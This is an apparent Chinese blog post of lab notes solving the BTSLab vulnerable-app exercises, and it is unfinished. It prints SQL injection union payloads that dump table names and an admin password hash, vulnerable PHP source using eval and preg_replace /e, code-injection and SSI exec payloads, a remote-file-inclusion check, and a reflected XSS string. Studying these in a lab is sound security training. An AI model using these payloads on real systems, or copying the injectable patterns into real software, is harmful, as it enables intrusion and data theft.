btslab笔记

本文只涉及漏洞的验证与解题思路不进行安装等基础教学

1.vulnerability.injection.sqlinjection

url:https://172.16.26.44/btslab/vulnerability/ForumPosts.php?id=1
第一步:判断注入类型 字符型还是数字型:
GET /btslab/vulnerability/ForumPosts.php?id=1
image

GET /btslab/vulnerability/ForumPosts.php?id=1-2
image

GET /btslab/vulnerability/ForumPosts.php?id=5-4
image

经过测试显然为数字型注入

判断闭合方式:
数字型闭合方式一般为括号闭合,进行测试:
GET /btslab/vulnerability/ForumPosts.php?id=5-4)) --
image
经过测试 该闭合方式为空 即纯数字无特殊符号闭合:
GET /btslab/vulnerability/ForumPosts.php?id=5-4%20--%20
image

进行列数的判断:
order by 4:
image
order by 5:
image

回显位置判断:
5-4 union select 1,2,3,4--
image
初步判断为4和2位置

5-4 union select 1,database(),3,version()--
image
查询版本与数据库名
为5.5.53与bts

版本位于5.0以后开始查询
利用information_schema表进行数据查询:
5-4 union select 1, group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--
image
得到表名 可疑表为users
开始查列:
5-4 union select 1, group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name='users' --
image
得到感兴趣列username password 查询其内容
image
总共就一个用户admin 其密码为5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
为sha1形式 进行解密测试
image
源码:很简单的拼接 导致漏洞百出

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');
include($_SERVER['DOCUMENT_ROOT'].'/btslab/mysqlconnection.php');
//Delete Post
if(isset($_GET['delete']))
{
	$id=$_GET['delete'];
	mysql_query("DELETE from posts where postid='$id'") or die("Failed to Delete the post");
	echo "Post is deleted";
}
//Displaying the content of Post
if(isset($_GET['id']))
{
	$result=mysql_query("select * from posts where postid=".$_GET['id']) or die(mysql_error());
	if(mysql_num_rows($result)>0)
	{
		while($row=mysql_fetch_array($result))
		{
		echo "<B style='font-size:22px'>Title: ".$row['title']."</B>";
		if(isset($_SESSION['isLoggedIn']))
		{
			if($row['user']==$_SESSION['username'])
			{
				echo "  <a href='ForumPosts.php?delete=".$row['postid']."'>Delete</a>";			
			}
		}
		echo "<br/>-  Posted By ".$row['user'];	
		echo "<br/><br/>Content:<br/>".$row['content']."";
		
		}
	}
}
echo "<br/><br/><a href='forum.php'>Return to Forum &gt;&gt;</a>";
 include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

2.vulnerability.injection.cmdinjection

image
乱码猜测由于gbk编码导致
进行乱码恢复:
image
成功得到结果

3.vulnerability.injection.phpinjection

https://172.16.26.44/btslab/vulnerability/phpinjection/challenge1.php?data=phpinfo()

源码很简单 eval进行了命令执行:
c1:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
  $output = "";
$data = $_GET['data'];
 eval('$output = ' . $data. ';');
 echo $output;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

image

preg_replacee进行命令执行 /e参数会导致命令执行

c2:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
$data = $_GET['data'];
$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);
//这句会对正则匹配到的参数进行命令执行 /e参数就代表执行命令 
print $data;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

https://172.16.26.44/btslab/vulnerability/phpinjection/challenge2.php?data={${phpinfo()}}
image

4.vulnerability.injection.rfi:

image
利用dnslog平台测试是否能够访问远程文件
image
也是成功能进行远程文件的访问
image
image
能够进行文件包含

可以远程包含一句话木马进行测试 这里我就不继续了

5.vulnerability.injection.ssi:

ssi注入 类似于xss 注入了ssi语句也就是shtml的语句插入到页面中并且被执行了 ssi语法形式如下:
<!--#exec cmd="whoami" -->
但该漏洞触发条件比较苛刻 很少见 不常用
image
这里返回的结果是处理此指令时返回错误

尝试执行echo命令 不要执行系统命令
<!--#echo var="DOCUMENT_URI" -->
image
成功输出了当前文档的统一资源定位符

6.vulnerability.xss.reflected:

xss会涉及到一些编码绕过的方式

  • c1:
    image
    可以看到注入后可以运行xss代码 我们可以用beef做更多的操作
    没有涉及到编码闭合等问题 直接注入:
    keyword=<script>console.log('here+we+can+xss')<%2Fscript>

  • c2:

==未完

posted @   f0r9  阅读(41)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
点击右上角即可分享
微信分享提示